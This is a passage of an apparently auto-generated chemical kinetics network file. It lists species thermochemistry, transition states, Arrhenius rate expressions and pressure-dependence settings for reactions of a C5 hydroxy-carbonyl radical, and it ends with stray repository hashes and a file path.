additivity estimation: group(O2s-CsH) + group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)(Cds-Cds)OsH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-CdsHH) + group(Cds-CdsHH) + radical(Cds_S) + radical(C=C(C)OJ)"""), ) species( label = 'C=C1C(=O)CC1O(28255)', structure = SMILES('C=C1C(=O)CC1O'), E0 = (-184.969,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.90253,0.0350968,1.11949e-05,-3.41099e-08,1.35279e-11,-22161.7,22.194], Tmin=(100,'K'), Tmax=(1070.78,'K')), NASAPolynomial(coeffs=[11.2595,0.0256909,-1.14171e-05,2.25015e-09,-1.63449e-13,-25630.1,-30.4266], Tmin=(1070.78,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-184.969,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(303.478,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cd-CdCs(CO)) + group(Cds-O2d(Cds-Cds)Cs) + group(Cds-CdsHH) + ring(Cyclobutane)"""), ) species( label = '[C-]#[O+](374)', structure = SMILES('[C-]#[O+]'), E0 = (299.89,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([180],'cm^-1')), ], spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (28.0101,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.33667,0.00896487,-2.66756e-05,3.61071e-08,-1.57199e-11,36069.2,-1.20266], Tmin=(100,'K'), Tmax=(865.594,'K')), NASAPolynomial(coeffs=[-0.394107,0.0117562,-6.47408e-06,1.26375e-09,-8.67562e-14,37256.3,19.3844], Tmin=(865.594,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(299.89,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(CsJ2_singlet-CsH)"""), ) species( label = '[CH2]C(O)[C]=C(5788)', structure = SMILES('[CH2]C(O)[C]=C'), E0 = (260.102,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,2950,3100,1380,975,1025,1650,3615,1277.5,1000,1685,370,1380,1390,370,380,2900,435,321.366],'cm^-1')), HinderedRotor(inertia=(0.0016324,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.166096,'amu*angstrom^2'), symmetry=1, barrier=(12.1709,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.166087,'amu*angstrom^2'), symmetry=1, barrier=(12.171,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (70.0898,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.6858,0.0455507,-3.94521e-05,1.7704e-08,-3.16924e-12,31370.9,22.7623], Tmin=(100,'K'), Tmax=(1345.51,'K')), NASAPolynomial(coeffs=[11.8503,0.0153332,-5.76502e-06,1.01282e-09,-6.79554e-14,28635.6,-29.2919], Tmin=(1345.51,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(260.102,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(245.277,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CJCO)"""), ) species( label = '[C]=C(584)', structure = SMILES('[C]=C'), E0 = (600.251,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650],'cm^-1')), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (26.0373,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.94093,-0.00117598,1.80376e-05,-2.01208e-08,6.96659e-12,72197.9,5.25681], Tmin=(100,'K'), Tmax=(976.125,'K')), NASAPolynomial(coeffs=[3.93016,0.00536132,-1.98619e-06,3.69549e-10,-2.66221e-14,71890.7,3.724], Tmin=(976.125,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(600.251,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(83.1447,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-CdsHH) + group(Cds-CdsHH) + radical(CdCdJ2_triplet)"""), ) species( label = 'O=[C]C[CH]O(4550)', structure = SMILES('O=[C]C[CH]O'), E0 = (-22.8922,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,3615,1277.5,1000,3025,407.5,1350,352.5,180],'cm^-1')), HinderedRotor(inertia=(0.241088,'amu*angstrom^2'), symmetry=1, barrier=(5.54309,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.240987,'amu*angstrom^2'), symmetry=1, barrier=(5.54075,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.240946,'amu*angstrom^2'), symmetry=1, barrier=(5.53982,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (72.0627,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.825,0.054389,-9.35807e-05,8.42472e-08,-2.86794e-11,-2681.19,20.2696], Tmin=(100,'K'), Tmax=(890.642,'K')), NASAPolynomial(coeffs=[6.28986,0.0191611,-8.69207e-06,1.575e-09,-1.03601e-13,-2874.61,2.62531], Tmin=(890.642,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-22.8922,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(195.39,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-O2d)CsHH) + group(Cs-CsOsHH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(CCsJOH)"""), ) species( label = '[C]=O(1149)', structure = SMILES('[C]=O'), E0 = (440.031,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([4000],'cm^-1')), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (28.0101,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[4.66064,-0.00539267,9.3647e-06,-6.04676e-09,1.10218e-12,52863.3,2.60381], Tmin=(100,'K'), Tmax=(2084.48,'K')), NASAPolynomial(coeffs=[9.43361,-0.00191483,-2.23152e-06,5.70335e-10,-4.024e-14,48128.1,-30.5142], Tmin=(2084.48,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(440.031,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-OdHH) + radical(CdCdJ2_triplet)"""), ) species( label = 'N2', structure = SMILES('N#N'), E0 = (-8.64289,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (28.0135,'amu'), collisionModel = TransportData(shapeIndex=1, epsilon=(810.913,'J/mol'), sigma=(3.621,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(1.76,'angstroms^3'), rotrelaxcollnum=4.0, comment="""GRI-Mech"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.53101,-0.000123661,-5.02999e-07,2.43531e-09,-1.40881e-12,-1046.98,2.96747], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.95258,0.0013969,-4.92632e-07,7.8601e-11,-4.60755e-15,-923.949,5.87189], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-8.64289,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), label="""N2""", comment="""Thermo library: primaryThermoLibrary"""), ) species( label = 'Ne', structure = SMILES('[Ne]'), E0 = (-6.19738,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (20.1797,'amu'), collisionModel = TransportData(shapeIndex=0, epsilon=(1235.53,'J/mol'), sigma=(3.758e-10,'m'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with fixed Lennard Jones Parameters. This is the fallback method! Try improving transport databases!"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""Ne""", comment="""Thermo library: primaryThermoLibrary"""), ) species( label = 'He', structure = SMILES('[He]'), E0 = (-6.19738,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (4.0026,'amu'), collisionModel = TransportData(shapeIndex=0, epsilon=(84.8076,'J/mol'), sigma=(2.576,'angstroms'), dipoleMoment=(0,'De'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""NOx2018"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,0.928724], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,0.928724], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""He""", comment="""Thermo library: primaryThermoLibrary"""), ) species( label = 'Ar', structure = SMILES('[Ar]'), E0 = (-6.19738,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (39.348,'amu'), collisionModel = TransportData(shapeIndex=0, epsilon=(1134.93,'J/mol'), sigma=(3.33,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,4.37967], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,4.37967], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""Ar""", comment="""Thermo library: primaryThermoLibrary"""), ) transitionState( label = 'TS1', E0 = (101.894,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS2', E0 = (217.072,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS3', E0 = (280.975,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS4', E0 = (254.958,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS5', E0 = (156.949,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS6', E0 = (172.492,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS7', E0 = (235.795,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS8', E0 = (284.476,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS9', E0 = (206.494,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS10', E0 = (216.585,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS11', E0 = (243.871,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS12', E0 = (243.871,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS13', E0 = (218.03,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS14', E0 = (299.688,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS15', E0 = (232.057,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS16', E0 = (448.636,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS17', E0 = (551.155,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS18', E0 = (347.536,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS19', E0 = (417.383,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS20', E0 = (513.601,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS21', E0 = (560.795,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS22', E0 = (180.141,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS23', E0 = (190.863,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS24', E0 = (196.369,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS25', E0 = (347.495,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS26', E0 = (110.179,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS27', E0 = (559.993,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS28', E0 = (611.675,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) transitionState( label = 'TS29', E0 = (734.449,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, ) reaction( label = 'reaction1', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=C=O(598)', 'C=C=CO(12571)'], transitionState = 'TS1', kinetics = Arrhenius(A=(5e+12,'s^-1'), n=0, Ea=(0,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""Exact match found for rate rule [RJJ] Euclidian distance = 0 family: 1,4_Linear_birad_scission"""), ) reaction( label = 'reaction2', reactants = ['H(8)', 'C=C=C(O)C[C]=O(28246)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS2', kinetics = Arrhenius(A=(169.619,'m^3/(mol*s)'), n=1.605, Ea=(12.4249,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Cds_Ca;HJ] Euclidian distance = 0 family: R_Addition_MultipleBond"""), ) reaction( label = 'reaction3', reactants = ['H(8)', 'C=[C]C(O)C=C=O(28247)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS3', kinetics = Arrhenius(A=(3.82e-16,'cm^3/(molecule*s)'), n=1.61, Ea=(10.992,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Ck;HJ] for rate rule [Cds-CsH_Ck;HJ] Euclidian distance = 1.0 family: R_Addition_MultipleBond"""), ) reaction( label = 'reaction4', reactants = ['H(8)', 'C#CC(O)C[C]=O(28248)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS4', kinetics = Arrhenius(A=(1.255e+11,'cm^3/(mol*s)'), n=1.005, Ea=(13.1503,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 138 used for Ct-H_Ct-Cs;HJ Exact match found for rate rule [Ct-H_Ct-Cs;HJ] Euclidian distance = 0 family: R_Addition_MultipleBond"""), ) reaction( label = 'reaction5', reactants = ['[CH2][C]=O(601)', 'C=C=CO(12571)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS5', kinetics = Arrhenius(A=(0.00401797,'m^3/(mol*s)'), n=2.41733, Ea=(22.1495,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Cds_Ca;CJ] Euclidian distance = 0 family: R_Addition_MultipleBond"""), ) reaction( label = 'reaction6', reactants = ['C=C=O(598)', '[CH2][C]=CO(18753)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS6', kinetics = Arrhenius(A=(0.0561524,'m^3/(mol*s)'), n=2.47384, Ea=(45.2178,'kJ/mol'), T0=(1,'K'), Tmin=(303.03,'K'), Tmax=(2000,'K'), comment="""Estimated using an average for rate rule [Cds-HH_Ck;CJ] Euclidian distance = 0 family: R_Addition_MultipleBond"""), ) reaction( label = 'reaction7', reactants = ['OH(D)(132)', 'C=C=CC[C]=O(17857)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS7', kinetics = Arrhenius(A=(986500,'cm^3/(mol*s)'), n=2.037, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Ca;OJ_pri] for rate rule [Cds-CsH_Ca;OJ_pri] Euclidian distance = 1.0 family: R_Addition_MultipleBond Ea raised from -6.0 to 0 kJ/mol."""), ) reaction( label = 'reaction8', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['[CH2]C=C(O)C[C]=O(14292)'], transitionState = 'TS8', kinetics = Arrhenius(A=(3.677e+10,'s^-1'), n=0.839, Ea=(182.581,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R2H_S;Cd_rad_out_Cd;Cs_H_out_noH] for rate rule [R2H_S;Cd_rad_out_Cd;Cs_H_out_NDMustO] Euclidian distance = 2.0 family: intra_H_migration"""), ) reaction( label = 'reaction9', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=[C]C(O)C=C[O](28249)'], transitionState = 'TS9', kinetics = Arrhenius(A=(2.4e-16,'s^-1'), n=7.98, Ea=(104.6,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2500,'K'), comment="""Estimated using template [R2H_S;Y_rad_out;Cs_H_out_H/(NonDeC/O)] for rate rule [R2H_S;CO_rad_out;Cs_H_out_H/(NonDeC/O)] Euclidian distance = 1.0 Multiplied by reaction path degeneracy 2.0 family: intra_H_migration"""), ) reaction( label = 'reaction10', reactants = ['[CH]=CC(O)C[C]=O(14298)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS10', kinetics = Arrhenius(A=(1.08e+06,'s^-1'), n=1.99, Ea=(105.437,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 17 used for R2H_D;Cd_rad_out_singleH;Cd_H_out_singleNd Exact match found for rate rule [R2H_D;Cd_rad_out_singleH;Cd_H_out_singleNd] Euclidian distance = 0 family: intra_H_migration"""), ) reaction( label = 'reaction12', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=CC([O])C[C]=O(12767)'], transitionState = 'TS11', kinetics = Arrhenius(A=(2.4115e+09,'s^-1'), n=1.00333, Ea=(141.977,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3H_SS_Cs;Cd_rad_out_Cd;XH_out] for rate rule [R3H_SS_Cs;Cd_rad_out_Cd;O_H_out] Euclidian distance = 1.0 family: intra_H_migration"""), ) reaction( label = 'reaction12', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=CC(O)[CH][C]=O(14294)'], transitionState = 'TS12', kinetics = Arrhenius(A=(4.823e+09,'s^-1'), n=1.00333, Ea=(141.977,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [R3H_SS_Cs;Cd_rad_out_Cd;XH_out] Euclidian distance = 0 Multiplied by reaction path degeneracy 2.0 family: intra_H_migration"""), ) reaction( label = 'reaction13', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['[CH2][C]=C(O)CC=O(28250)'], transitionState = 'TS13', kinetics = Arrhenius(A=(285601,'s^-1'), n=2.01653, Ea=(116.136,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3H_SS_Cs;Y_rad_out;XH_out] for rate rule [R3H_SS_Cs;CO_rad_out;XH_out] Euclidian distance = 1.0 family: intra_H_migration"""), ) reaction( label = 'reaction14', reactants = ['C=[C]C([O])CC=O(14297)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS14', kinetics = Arrhenius(A=(1.75172e+06,'s^-1'), n=1.80068, Ea=(127.394,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R4H_SSS;O_rad_out;XH_out] for rate rule [R4H_SSS;O_rad_out;CO_H_out] Euclidian distance = 1.0 family: intra_H_migration"""), ) reaction( label = 'reaction15', reactants = ['C#CC(O)C[CH][O](23564)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS15', kinetics = Arrhenius(A=(136000,'s^-1'), n=1.9199, Ea=(33.0402,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R5Hall;Cd_rad_out_singleH;XH_out] for rate rule [R5HJ_1;Cd_rad_out_singleH;CO_H_out] Euclidian distance = 1.41421356237 family: intra_H_migration"""), ) reaction( label = 'reaction16', reactants = ['OH(D)(132)', '[CH2][C]=CC[C]=O(17860)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS16', kinetics = Arrhenius(A=(3.05166e+07,'m^3/(mol*s)'), n=0.045, Ea=(0.1046,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [O_pri_rad;Y_rad] Euclidian distance = 0 family: R_Recombination"""), ) reaction( label = 'reaction17', reactants = ['H(8)', 'C=[C]C([O])C[C]=O(14302)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS17', kinetics = Arrhenius(A=(5.00518e+06,'m^3/(mol*s)'), n=0.282325, Ea=(7.09479,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [Y_rad;O_rad/NonDe] + [H_rad;O_sec_rad] for rate rule [H_rad;O_rad/NonDe] Euclidian distance = 1.0 family: R_Recombination"""), ) reaction( label = 'reaction18', reactants = ['[CH2][C]=O(601)', '[CH2][C]=CO(18753)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS18', kinetics = Arrhenius(A=(1.9789e+07,'m^3/(mol*s)'), n=-0.126319, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;Y_rad] Euclidian distance = 0 family: R_Recombination Ea raised from -15.6 to -15.6 kJ/mol. Ea raised from -15.6 to 0 kJ/mol."""), ) reaction( label = 'reaction19', reactants = ['H(8)', '[CH2][C]=C(O)C[C]=O(28251)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS19', kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad] Euclidian distance = 0 family: R_Recombination Ea raised from -1.4 to 0 kJ/mol."""), ) reaction( label = 'reaction20', reactants = ['H(8)', 'C=[C]C(O)[CH][C]=O(28252)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS20', kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad] Euclidian distance = 0 family: R_Recombination Ea raised from -1.4 to 0 kJ/mol."""), ) reaction( label = 'reaction21', reactants = ['H(8)', '[CH]=[C]C(O)C[C]=O(28253)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS21', kinetics = Arrhenius(A=(4.34078e+06,'m^3/(mol*s)'), n=0.278577, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;H_rad] Euclidian distance = 0 family: R_Recombination Ea raised from -1.4 to 0 kJ/mol."""), ) reaction( label = 'reaction22', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=C=C(O)CC=O(28254)'], transitionState = 'TS22', kinetics = Arrhenius(A=(2.00399e+09,'s^-1'), n=0.37, Ea=(78.2471,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [R3;Y_rad;XH_Rrad_De] + [R3radExo;Y_rad;XH_Rrad] for rate rule [R3radExo;Y_rad;XH_Rrad_De] Euclidian distance = 1.0 family: Intra_Disproportionation"""), ) reaction( label = 'reaction23', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=CC(O)C=C=O(14307)'], transitionState = 'TS23', kinetics = Arrhenius(A=(5.2748e+09,'s^-1'), n=0.37, Ea=(88.9686,'kJ/mol'), T0=(1,'K'), comment="""Estimated using average of templates [R3;Y_rad_De;XH_Rrad] + [R3radExo;Y_rad;XH_Rrad] for rate rule [R3radExo;Y_rad_De;XH_Rrad] Euclidian distance = 1.0 Multiplied by reaction path degeneracy 2.0 family: Intra_Disproportionation"""), ) reaction( label = 'reaction24', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['[CH2]C(=CO)C[C]=O(14236)'], transitionState = 'TS24', kinetics = Arrhenius(A=(8.66e+11,'s^-1'), n=0.438, Ea=(94.4747,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [cCs(-HR!H)CJ;CdsJ;C] Euclidian distance = 0 family: 1,2_shiftC"""), ) reaction( label = 'reaction25', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=[C]C(O)C(=C)[O](14497)'], transitionState = 'TS25', kinetics = Arrhenius(A=(3.53e+06,'s^-1'), n=1.73, Ea=(245.601,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [cCs(-HH)CJ;CJ;C] Euclidian distance = 0 family: 1,2_shiftC"""), ) reaction( label = 'reaction26', reactants = ['C=[C]C(O)C[C]=O(14295)'], products = ['C=C1C(=O)CC1O(28255)'], transitionState = 'TS26', kinetics = Arrhenius(A=(1.62e+12,'s^-1'), n=-0.305, Ea=(8.28432,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [R4_SSS;Y_rad_out;Ypri_rad_out] Euclidian distance = 0 family: Birad_recombination"""), ) reaction( label = 'reaction27', reactants = ['[C-]#[O+](374)', '[CH2]C(O)[C]=C(5788)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS27', kinetics = Arrhenius(A=(763693,'m^3/(mol*s)'), n=0.364815, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [COm;C_rad/H2/Cs] Euclidian distance = 0 family: R_Addition_COm Ea raised from -181.7 to 0 kJ/mol."""), ) reaction( label = 'reaction28', reactants = ['[C]=C(584)', 'O=[C]C[CH]O(4550)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS28', kinetics = Arrhenius(A=(1.14854e+06,'m^3/(mol*s)'), n=0.575199, Ea=(34.3157,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [C_rad/H/CsO;Birad] Euclidian distance = 4.0 family: Birad_R_Recombination"""), ) reaction( label = 'reaction29', reactants = ['[C]=O(1149)', '[CH2]C(O)[C]=C(5788)'], products = ['C=[C]C(O)C[C]=O(14295)'], transitionState = 'TS29', kinetics = Arrhenius(A=(1.14854e+06,'m^3/(mol*s)'), n=0.575199, Ea=(34.3157,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [C_rad/H2/Cs;Birad] Euclidian distance = 3.0 family: Birad_R_Recombination"""), ) network( label = '5115', isomers = [ 'C=[C]C(O)C[C]=O(14295)', ], reactants = [ ('C=C=O(598)', 'C=C=CO(12571)'), ], bathGas = { 'N2': 0.25, 'Ne': 0.25, 'He': 0.25, 'Ar': 0.25, }, ) pressureDependence( label = '5115', Tmin = (1200,'K'), Tmax = (1500,'K'), Tcount = 10, Tlist = ([1201.48,1213.22,1236.21,1269.31,1310.55,1356.92,1404.16,1447.02,1479.84,1497.7],'K'), Pmin = (1,'atm'), Pmax = (10,'atm'), Pcount = 10, Plist = ([1.02771,1.14872,1.41959,1.89986,2.67608,3.83649,5.40396,7.23219,8.93758,9.98989],'bar'), maximumGrainSize = (0.5,'kcal/mol'), minimumGrainCount = 250, method = 'modified strong collision', interpolationModel = ('Chebyshev', 6, 4), activeKRotor = True, activeJRotor = True, rmgmode = True, )
dea37d8cb8f20edbd9efe4496eee91c1a0e07810
d37f798101bc6cc795b3ff7e5f9444ff30b4cd83
/kubernetes/client/models/v1alpha2_pod_scheduling_context_status.py
